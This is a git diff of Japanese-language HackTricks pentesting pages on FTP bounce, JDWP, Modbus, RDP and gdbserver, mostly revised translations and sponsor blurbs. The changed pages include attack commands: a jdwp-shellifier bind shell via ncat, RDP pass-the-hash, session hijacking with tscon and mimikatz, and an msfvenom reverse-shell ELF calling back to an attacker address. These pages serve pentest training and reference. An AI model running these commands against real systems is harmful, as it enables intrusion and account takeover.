* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,14 +15,16 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発しています。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# 概要 # 概要
バウンスFTPサーバーにアクセスできる場合、他のFTPサーバー認証情報を知っている場合)にファイルを要求させ、そのファイルを自分のサーバーにダウンロードさせることができます。 バウンスFTPサーバーにアクセスできる場合、他のFTPサーバー認証情報を知っているサーバー)にファイルをリクエストさせ、そのファイルを自分のサーバーにダウンロードさせることができます。
## 要件 ## 要件
@ -34,19 +36,21 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
## 手順 ## 手順
1. 自分のFTPサーバーに接続し、接続をパッシブにしpasvコマンド、被害者サービスがファイルを送信するディレクトリでリッスンさせる 1. 自分のFTPサーバーに接続し、接続をパッシブにしますpasvコマンドし、被害者サービスがファイルを送信するディレクトリで待機します。
2. FTPミドルサーバーが被害者サーバーに送信するファイルを作成する(悪用)。このファイルは、被害者サーバーに対して認証するために必要なコマンドのプレーンテキストであり、ディレクトリを変更し、自分のサーバーにファイルをダウンロードします。 2. FTPミドルサーバーが被害者サーバーに送信するファイルを作成します(エクスプロイト)。このファイルは、被害者サーバーに対して認証するために必要なコマンドのプレーンテキストであり、ディレクトリを変更し、自分のサーバーにファイルをダウンロードします。
3. FTPミドルサーバーに接続し、前のファイルをアップロードする 3. FTPミドルサーバーに接続し、前のファイルをアップロードします。
4. FTPミドルサーバーが被害者サーバーと接続を確立し、悪用ファイルを送信させる 4. FTPミドルサーバーが被害者サーバーと接続を確立し、エクスプロイトファイルを送信します。
5. 自分のFTPサーバーでファイルをキャプチャする 5. 自分のFTPサーバーでファイルをキャプチャします。
6. FTPミドルサーバーから悪用ファイルを削除する 6. FTPミドルサーバーからエクスプロイトファイルを削除します。
詳細な情報については、投稿を確認してください:[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) 詳細な情報については、次の投稿を確認してください:[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発しています。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発しています。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Exploiting ## エクスプロイト
JDWPの悪用は、**プロトコルの認証と暗号化の欠如**に依存しています。一般的には**ポート8000**で見られますが、他のポートも可能です。最初の接続は、ターゲットポートに「JDWP-Handshake」を送信することで行われます。JDWPサービスがアクティブであれば、同じ文字列で応答し、その存在を確認します。このハンドシェイクは、ネットワーク上のJDWPサービスを特定するためのフィンガープリンティング手法として機能します。 JDWPのエクスプロイトは、**プロトコルの認証と暗号化の欠如**に依存しています。一般的には**ポート8000**で見つかりますが、他のポートも可能です。最初の接続は、ターゲットポートに「JDWP-Handshake」を送信することで行われます。JDWPサービスがアクティブであれば、同じ文字列で応答し、その存在を確認します。このハンドシェイクは、ネットワーク上のJDWPサービスを特定するためのフィンガープリンティング手法として機能します。
プロセス識別に関しては、Javaプロセス内で「jdwk」という文字列を検索することで、アクティブなJDWPセッションを示すことができます。 プロセス識別に関しては、Javaプロセス内で「jdwk」という文字列を検索することで、アクティブなJDWPセッションを示すことができます。
@ -33,33 +35,33 @@ JDWPの悪用は、**プロトコルの認証と暗号化の欠如**に依存し
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept ./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
``` ```
`--break-on 'java.lang.String.indexOf'`を使用すると、エクスプロイトがより**安定**します。また、ホストにバックドアをアップロードしてコマンドを実行する代わりにそれを実行する機会があれば、エクスプロイトはさらに安定します。 `--break-on 'java.lang.String.indexOf'` を使用すると、エクスプロイトがより**安定**します。また、ホストにバックドアをアップロードしてコマンドを実行する代わりにそれを実行する機会があれば、エクスプロイトはさらに安定します。
## 詳細 ## 詳細
**これは[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)の要約です**。詳細については、こちらを確認してください。 **これは [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) の要約です。詳細については確認してください。**
1. **JDWP概要**: 1. **JDWP 概要**:
- パケットベースのネットワークバイナリプロトコルで、主に同期的です。 - パケットベースのネットワークバイナリプロトコルで、主に同期的です。
- 認証と暗号化が欠如しており、敵対的なネットワークにさらされると脆弱です。 - 認証と暗号化が欠如しており、敵対的なネットワークにさらされると脆弱です。
2. **JDWPハンドシェイク**: 2. **JDWP ハンドシェイク**:
- 通信を開始するためにシンプルなハンドシェイクプロセスが使用されます。デバッガクライアントとデバッグ対象サーバー間で14文字のASCII文字列「JDWP-Handshake」が交換されます。 - 通信を開始するためにシンプルなハンドシェイクプロセスが使用されます。デバッガクライアントとデバッグ対象サーバー間で14文字のASCII文字列「JDWP-Handshake」が交換されます。
3. **JDWP通信**: 3. **JDWP 通信**:
- メッセージは長さ、ID、フラグ、コマンドセットなどのフィールドを持つシンプルな構造です。 - メッセージは長さ、ID、フラグ、コマンドセットなどのフィールドを持つシンプルな構造です。
- コマンドセットの値は0x40から0x80までで、異なるアクションやイベントを表します。 - コマンドセットの値は0x40から0x80までで、異なるアクションやイベントを表します。
4. **エクスプロイト**: 4. **エクスプロイト**:
- JDWPは任意のクラスとバイトコードをロードして呼び出すことを許可し、セキュリティリスクを引き起こします。 - JDWPは任意のクラスとバイトコードをロードおよび呼び出すことを許可し、セキュリティリスクを引き起こします。
- 記事では、Javaランタイムの参照を取得し、ブレークポイントを設定し、メソッドを呼び出すという5つのステップからなるエクスプロイトプロセスが詳述されています。 - 記事では、Javaランタイムの参照を取得し、ブレークポイントを設定し、メソッドを呼び出すという5つのステップからなるエクスプロイトプロセスを詳述しています。
5. **実際のエクスプロイト**: 5. **実際のエクスプロイト**:
- ファイアウォール保護の可能性にもかかわらず、JDWPサービスは発見可能で、ShodanHQやGitHubなどのプラットフォームでの検索によって実際のシナリオでエクスプロイト可能です。 - ファイアウォール保護の可能性にもかかわらず、JDWPサービスは発見可能で、ShodanHQやGitHubなどのプラットフォームでの検索によって実際のシナリオでエクスプロイト可能です。
- エクスプロイトスクリプトはさまざまなJDKバージョンに対してテストされており、プラットフォームに依存せず、信頼性のあるリモートコード実行RCEを提供します。 - エクスプロイトスクリプトはさまざまなJDKバージョンに対してテストされており、プラットフォームに依存せず、信頼性のあるリモートコード実行RCEを提供します。
6. **セキュリティの影響**: 6. **セキュリティの影響**:
- インターネット上にオープンなJDWPサービスが存在することは、定期的なセキュリティレビュー、プロダクション環境でのデバッグ機能の無効化、適切なファイアウォール設定の必要性を強調しています。 - インターネット上にオープンなJDWPサービスが存在することは、定期的なセキュリティレビュー、プロダクション環境でのデバッグ機能の無効化、および適切なファイアウォール設定の必要性を強調しています。
### **参考文献:** ### **参考文献:**
@ -78,7 +80,9 @@ JDWPの悪用は、**プロトコルの認証と暗号化の欠如**に依存し
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出およびエクスプロイトモジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価
**実際のビジネスに影響を与える重大でエクスプロイト可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動エクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -92,7 +96,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,14 +15,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンから報告までの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発しています。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
# 基本情報 # 基本情報
1979年に**Modbusプロトコル**がModiconによって開発され、メッセージ構造として機能します。このプロトコルの主な用途は、マスター-スレーブ/クライアント-サーバーモデルの下で、インテリジェントデバイス間の通信を促進することです。このプロトコルは、デバイスが効率的にデータを交換するのを可能にする重要な役割を果たします。 1979年に**Modbusプロトコル**がModiconによって開発され、メッセージ構造として機能します。の主な用途は、マスター-スレーブ/クライアント-サーバーモデルの下で、インテリジェントデバイス間の通信を促進することです。このプロトコルは、デバイスが効率的にデータを交換できるようにする上で重要な役割を果たします。
**デフォルトポート:** 502 **デフォルトポート:** 502
``` ```
@ -43,15 +45,17 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンから報告までのプロセスをサポートします。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するに、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンから報告までの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発しています。 #### ハッカーの視点からウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本情報 ## 基本情報
Microsoftによって開発された**リモートデスクトッププロトコル****RDP**)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするように設計されています。この接続を確立するために、ユーザーは**RDP**クライアントソフトウェアを利用し、同時にリモートコンピュータは**RDP**サーバーソフトウェアを操作する必要があります。このセットアップにより、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスでき、実質的にそのインターフェースをユーザーのローカルデバイスに持ち込むことができます。 Microsoftによって開発された**リモートデスクトッププロトコル****RDP**)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするように設計されています。このような接続を確立するために、ユーザーは**RDP**クライアントソフトウェアを利用し、同時にリモートコンピュータは**RDP**サーバーソフトウェアを操作する必要があります。この設定により、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスでき、実質的にそのインターフェースをユーザーのローカルデバイスに持ち込むことができます。
**デフォルトポート:** 3389 **デフォルトポート:** 3389
``` ```
@ -64,13 +66,15 @@ xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
``` ```
### RDPサービスに対する既知の資格情報を確認する ### RDPサービスに対する既知の資格情報を確認する
impacketのrdp\_check.pyを使用すると、いくつかの資格情報がRDPサービスに対して有効かどうかを確認できます impacketのrdp\_check.pyを使用すると、RDPサービスに対していくつかの資格情報が有効かどうかを確認できます:
```bash ```bash
rdp_check <domain>/<name>:<password>@<IP> rdp_check <domain>/<name>:<password>@<IP>
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまで。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -78,7 +82,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### セッションの盗難 ### セッションの盗難
**SYSTEM権限**を持つことで、**所有者のパスワードを知る必要なく、任意のユーザーによって開かれたRDPセッションにアクセスできます** **SYSTEM権限**を持つことで、所有者のパスワードを知る必要なく、**任意のユーザーによって開かれたRDPセッションにアクセス**できます。
**開かれたセッションを取得:** **開かれたセッションを取得:**
``` ```
@ -88,7 +92,7 @@ query user
```bash ```bash
tscon <ID> /dest:<SESSIONNAME> tscon <ID> /dest:<SESSIONNAME>
``` ```
今、選択したRDPセッションの中にいて、Windowsのツールと機能だけを使用してユーザーを偽装することができます。 今、選択したRDPセッションの中にいて、Windowsのツールと機能のみを使用してユーザーを偽装することができます。
**重要**: アクティブなRDPセッションにアクセスすると、そのセッションを使用していたユーザーが切断されます。 **重要**: アクティブなRDPセッションにアクセスすると、そのセッションを使用していたユーザーが切断されます。
@ -96,7 +100,7 @@ tscon <ID> /dest:<SESSIONNAME>
#### **Mimikatz** #### **Mimikatz**
れを行うためにmimikatzを使用することもできます: の目的のためにmimikatzを使用することもできます:
```bash ```bash
ts::sessions #Get sessions ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session ts::remote /id:2 #Connect to the session
@ -109,7 +113,7 @@ ts::remote /id:2 #Connect to the session
### RDPプロセスインジェクション ### RDPプロセスインジェクション
異なるドメインの誰か、または**より高い権限を持つユーザーがRDP経由で**あなたが管理者であるPCにログインした場合、彼の**RDPセッションプロセス**にあなたのビーコンを**インジェクト**して、彼のように行動することができます: 異なるドメインの誰かが**より高い権限でRDP経由で**あなたが管理者であるPCにログインした場合、彼の**RDPセッションプロセス**にあなたのビーコンを**インジェクト**し、彼として行動することができます:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} {% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md) [rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -123,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) * [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイフレームワークです。この脆弱性Microsoftによって機能としてリストされていますは、リモート攻撃者が**被害者の同意なしにデスクトップを表示し**、さらには要求に応じてそれを制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用して行われます。 **AutoRDPwn**は、主にMicrosoft Windowsコンピュータに対する**Shadow**攻撃を自動化するために設計されたPowershellで作成されたポストエクスプロイテーションフレームワークです。この脆弱性Microsoftによって機能としてリストされていますは、リモート攻撃者が**被害者のデスクトップをその同意なしに表示し**、さらには要求に応じて制御することを可能にします。これは、オペレーティングシステム自体にネイティブなツールを使用して行われます。
* [**EvilRDP**](https://github.com/skelsec/evilrdp) * [**EvilRDP**](https://github.com/skelsec/evilrdp)
* コマンドラインから自動的にマウスとキーボードを制御 * コマンドラインから自動的にマウスとキーボードを制御
@ -153,7 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すために、カスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -167,7 +173,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,21 +17,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポート作成までの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### Get a hacker's perspective on your web apps, network, and cloud
**重要なビジネスに影響を与える、悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **基本情報** ## **基本情報**
**gdbserver**は、プログラムをリモートでデバッグするためのツールです。デバッグが必要なプログラムと同じシステム上で実行され、これを「ターゲット」と呼びます。このセットアップにより、**GNU Debugger**が異なるマシン、すなわちソースコードとデバッグされたプログラムのバイナリコピーが保存されている「ホスト」から接続できます。**gdbserver**とデバッガーの間の接続は、TCPまたはシリアルラインを介して行うことができ、柔軟なデバッグセットアップを可能にします。 **gdbserver** は、プログラムをリモートでデバッグするためのツールです。デバッグが必要なプログラムと同じシステム上で実行され、これを「ターゲット」と呼びます。このセットアップにより、**GNU Debugger** が異なるマシン、すなわちソースコードとデバッグされたプログラムのバイナリコピーが保存されている「ホスト」から接続できます。**gdbserver** とデバッガーの接続は、TCPまたはシリアルラインを介して行うことができ、柔軟なデバッグセットアップを可能にします。
**gdbserverを任意のポートでリッスンさせることができ**、現時点で**nmapはサービスを認識できません** **gdbserverを任意のポートでリッスンさせることができ、現時点で** nmapはサービスを認識できません**
## Exploitation ## エクスプロイト
### Upload and Execute ### アップロードと実行
**msfvenomを使用してelfバックドアを簡単に作成し**、アップロードして実行できます: **msfvenomを使用してelfバックドアを簡単に作成し、アップロードして実行できます。**
```bash ```bash
# Trick shared by @B1n4rySh4d0w # Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
